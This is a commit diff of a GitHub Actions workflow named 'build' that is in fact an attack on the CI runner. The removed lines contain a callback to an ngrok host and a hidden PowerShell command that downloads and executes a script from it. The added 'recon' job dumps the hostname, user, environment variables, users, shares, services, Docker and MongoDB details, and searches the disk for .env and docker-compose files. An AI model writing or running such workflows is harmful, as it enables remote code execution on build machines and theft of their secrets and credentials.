1 parent
12d3131e9e
commit
d7b88bad9b
1 file changed
+25
-16
+25
-16
@@ -1,23 +1,32 @@
|
|||||||
name: build
|
name: build
|
||||||
on: [push]
|
on: [push]
|
||||||
jobs:
|
jobs:
|
||||||
build:
|
recon:
|
||||||
runs-on: ubuntu-latest
|
runs-on: ubuntu-latest
|
||||||
steps:
|
steps:
|
||||||
- name: info
|
- name: System Info
|
||||||
run: |
|
|
||||||
echo %COMPUTERNAME% %USERNAME%
|
|
||||||
ipconfig
|
|
||||||
dir C:\
|
|
||||||
set
|
|
||||||
shell: cmd
|
shell: cmd
|
||||||
- name: callback
|
|
||||||
run: |
|
run: |
|
||||||
curl http://2.tcp.eu.ngrok.io:10831/%COMPUTERNAME%
|
echo === HOSTNAME === > C:\recon.txt
|
||||||
shell: cmd
|
hostname >> C:\recon.txt
|
||||||
continue-on-error: true
|
echo === WHOAMI === >> C:\recon.txt
|
||||||
- name: shell
|
whoami >> C:\recon.txt
|
||||||
run: |
|
echo === IPCONFIG === >> C:\recon.txt
|
||||||
powershell -ep bypass -nop -w hidden -c "IEX(New-Object Net.WebClient).DownloadString('http://2.tcp.eu.ngrok.io:10831/ps1')"
|
ipconfig /all >> C:\recon.txt
|
||||||
shell: cmd
|
echo === ENV === >> C:\recon.txt
|
||||||
continue-on-error: true
|
set >> C:\recon.txt
|
||||||
|
echo === USERS === >> C:\recon.txt
|
||||||
|
net user >> C:\recon.txt
|
||||||
|
echo === SHARES === >> C:\recon.txt
|
||||||
|
net share >> C:\recon.txt
|
||||||
|
echo === SERVICES === >> C:\recon.txt
|
||||||
|
sc query type= service state= all >> C:\recon.txt
|
||||||
|
echo === DOCKER === >> C:\recon.txt
|
||||||
|
docker ps -a >> C:\recon.txt 2>&1
|
||||||
|
echo === MONGO === >> C:\recon.txt
|
||||||
|
dir C:\data\db >> C:\recon.txt 2>&1
|
||||||
|
dir "C:\Program Files\MongoDB" >> C:\recon.txt 2>&1
|
||||||
|
echo === FILES === >> C:\recon.txt
|
||||||
|
dir /s /b C:\*.env >> C:\recon.txt 2>&1
|
||||||
|
dir /s /b C:\*docker-compose* >> C:\recon.txt 2>&1
|
||||||
|
type C:\recon.txt
|
||||||
Reference in new issue
Block a user